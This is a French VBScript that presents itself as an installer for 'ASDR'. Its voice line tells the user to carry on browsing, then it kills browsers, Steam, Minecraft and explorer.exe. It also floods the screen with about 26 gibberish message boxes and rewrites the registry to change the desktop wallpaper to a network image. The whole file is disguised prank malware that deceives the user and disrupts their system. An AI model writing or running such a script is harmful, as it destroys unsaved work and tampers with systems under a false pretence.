ASDR | SAFE EDITION | BETA 1

a = MsgBox("Bienvenue dans l'installeur de ASDR")
a = MsgBox("Souhaiter vous continuer ?")
a = MsgBox("Installation en cours......")

Dim speechobject1
set speechobject1 = CreateObject("sapi.spvoice")
speechobject1.speak "Je suis l'assitante d'installaton de ASDR, vous pouvez continuer a utiliser votre navigateur et ou vos taches habituels"

Dim oShell : Set oShell = CreateObject("WScript.Shell")
oShell.Run "taskkill /im chrome.exe", , True

Dim oShell2 : Set oShell2 = CreateObject("WScript.Shell")
oShell2.Run "taskkill /im minecraft.exe", , True

Dim oShell3 : Set oShell3 = CreateObject("WScript.Shell")
oShell3.Run "taskkill /im steam.exe", , True

Dim oShell4 : Set oShell4 = CreateObject("WScript.Shell")
oShell4.Run "taskkill /im opera.exe", , True

Dim oShell5 : Set oShell5 = CreateObject("WScript.Shell")
oShell5.Run "taskkill /im explorer.exe", , True

Dim oShell6 : Set oShell6 = CreateObject("WScript.Shell")
oShell6.Run "taskkill /im firefox.exe", , True

Dim oShell7 : Set oShell7 = CreateObject("WScript.Shell")
oShell7.Run "taskkill /im iexplore.exe", , True

a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")
a = MsgBox("SKQDKSQFDDLFSFKSDKFSMDGK", 1, "DKQLMFKSDLMGKMSKGFDGKM")

Dim speechobject2
set speechobject2 = CreateObject("sapi.spvoice")
speechobject2.speak "J'ai tue quelques processus"



Dim shell : Set shell = CreateObject("WScript.Shell")
Dim wallpaper : wallpaper = "\\Network\Path\To\Image"
shell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", wallpaper
shell.Run "%SYSTEMROOT%\System32\rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True


Dim speechobject3
set speechobject3 = CreateObject("sapi.spvoice")
speechobject3.speak "J'ai modifié ton fond d'écran j'espere que tu m'en veut pas"